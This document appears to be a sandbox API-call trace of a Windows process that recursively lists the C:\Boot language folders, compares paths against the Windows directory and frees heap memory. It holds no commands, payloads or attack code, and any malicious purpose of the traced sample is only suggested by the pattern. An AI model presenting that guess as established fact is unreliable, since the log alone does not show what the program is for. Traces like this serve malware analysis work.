	[0205.557] FindNextFileW (in: hFindFile=0x652698, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.557] FindNextFileW (in: hFindFile=0x652698, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.557] FindNextFileW (in: hFindFile=0x652698, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.558] FindNextFileW (in: hFindFile=0x652698, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.558] FindClose (in: hFindFile=0x652698 | out: hFindFile=0x652698) returned 1
	[0205.558] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.558] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0205.558] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.558] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652818
	[0205.558] FindNextFileW (in: hFindFile=0x652818, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.558] FindNextFileW (in: hFindFile=0x652818, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.558] FindNextFileW (in: hFindFile=0x652818, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0205.559] FindNextFileW (in: hFindFile=0x652818, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0205.559] FindClose (in: hFindFile=0x652818 | out: hFindFile=0x652818) returned 1
	[0205.559] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.559] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="uk-UA", cAlternateFileName="")) returned 1
	[0205.559] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.559] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6529d8
	[0205.559] FindNextFileW (in: hFindFile=0x6529d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.559] FindNextFileW (in: hFindFile=0x6529d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0205.559] FindNextFileW (in: hFindFile=0x6529d8, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0205.559] FindClose (in: hFindFile=0x6529d8 | out: hFindFile=0x6529d8) returned 1
	[0205.559] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.560] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x4831, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1
	[0205.560] FindNextFileW (in: hFindFile=0x652558, lpFindFileData=0x33ffa7c | out: lpFindFileData=0x33ffa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4831, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0205.560] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13
	[0205.560] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Boot\\zh-CN") returned 1
	[0205.560] lstrlenW (lpString="zh-CN") returned 5
	[0205.560] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-CN") returned -1
	[0205.560] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x3db1070
	[0205.560] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13
	[0205.560] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x652958
	[0205.560] FindNextFileW (in: hFindFile=0x652958, lpFindFileData=0x33ff800 | out: lpFindFileData=0x33ff800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe1ef, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1
	[0205.764] FindClose (in: hFindFile=0x652958 | out: hFindFile=0x652958) returned 1
	[0205.765] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.765] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.765] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0205.765] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3da1068 | out: hHeap=0x560000) returned 1
	[0205.767] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3da1068 | out: hHeap=0x560000) returned 1
	[0205.767] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3da1068 | out: hHeap=0x560000) returned 1
	[0205.772] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3da1068 | out: hHeap=0x560000) returned 1
	[0205.772] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3da1068 | out: hHeap=0x560000) returned 1
	[0205.773] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0205.774] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44358a0 | out: hHeap=0x560000) returned 1
	[0205.775] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.775] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.776] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.777] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.780] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.781] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.781] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.781] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.781] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.782] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.782] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.783] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.783] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.783] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.785] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.785] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.786] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.786] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.786] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.787] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.787] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44578c0 | out: hHeap=0x560000) returned 1
	[0205.787] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.787] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.788] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.788] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.788] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44468b0 | out: hHeap=0x560000) returned 1
	[0205.790] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.791] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.791] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.791] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.792] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.792] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.792] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.793] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.793] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.793] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.793] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.794] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.794] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.794] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.794] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.795] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.795] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.797] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.798] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.798] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.798] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.798] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.798] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44358a0 | out: hHeap=0x560000) returned 1
	[0205.801] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0205.801] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44358a0 | out: hHeap=0x560000) returned 1
	[0206.043] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x444a8b8 | out: hHeap=0x560000) returned 1
	[0206.043] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44358a0 | out: hHeap=0x560000) returned 1
	[0206.043] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.043] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.045] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.045] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44358a0 | out: hHeap=0x560000) returned 1
	[0206.045] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.046] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44358a0 | out: hHeap=0x560000) returned 1
	[0206.046] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.047] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.047] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.049] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44488b8 | out: hHeap=0x560000) returned 1
	[0206.049] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44358a0 | out: hHeap=0x560000) returned 1
	[0206.049] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.051] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.052] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.052] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.053] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.053] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.054] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.054] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.055] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.055] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.055] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.057] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0206.057] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.058] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.058] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.058] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0206.060] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.061] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.062] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.063] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.063] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.063] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.064] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.064] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.064] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.065] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44488b8 | out: hHeap=0x560000) returned 1
	[0206.065] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.066] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.066] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.067] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.067] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.068] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.068] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3db1070 | out: hHeap=0x560000) returned 1
	[0206.218] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.221] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x43f0050 | out: hHeap=0x560000) returned 1
	[0206.224] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.677] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.678] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44c8908 | out: hHeap=0x560000) returned 1
	[0206.678] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4434898 | out: hHeap=0x560000) returned 1
	[0206.678] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.682] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.683] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.685] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x4424890 | out: hHeap=0x560000) returned 1
	[0206.685] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44c8908 | out: hHeap=0x560000) returned 1
	[0206.687] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44c8908 | out: hHeap=0x560000) returned 1
	[0206.689] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x44c8908 | out: hHeap=0x560000) returned 1
